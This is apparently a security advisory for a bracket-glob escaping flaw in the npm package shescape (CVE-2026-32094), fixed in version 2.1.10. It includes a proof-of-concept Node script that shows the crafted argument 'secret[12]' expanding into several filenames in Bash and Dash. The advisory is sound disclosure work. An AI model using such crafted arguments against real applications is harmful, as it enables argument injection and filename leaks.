Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
Summary
Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.
Details
The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:
src/internal/unix/bash.js:14-30src/internal/unix/busybox.js:14-30src/internal/unix/dash.js:12-19
They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).
Proof of Concept
Use the published npm tarball without modifications:
tmp=$(mktemp -d)
cd "$tmp"
npm pack shescape@2.1.9 >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev
node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";
const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");
for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
const shescape = new Shescape({ shell });
const escaped = shescape.escape("secret[12]");
console.log(${shell} escaped=${escaped});
const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
process.stdout.write(out);
}
NODEOutput:
/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>Expected: the shell receives secret\[12\], so only one literal argument runs.
Impact
Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | shescape | < 2.1.10 | 2.1.10 |
References
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm
- https://nvd.nist.gov/vuln/detail/CVE-2026-32094
- https://github.com/ericcornelissen/shescape/pull/2410
- https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a
- https://github.com/ericcornelissen/shescape
- https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Weakness (CWE)
CWE-200- Platform
- npm
- Package
shescape- Disclosed
- 11.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9jfh-9xrq-4vwm - CC BY 4.0
Vulnerability history: shescape
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 13
- First → latest
- 03.2021 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 5
- Medium 4
- Low 2
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 5
-
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash this entry
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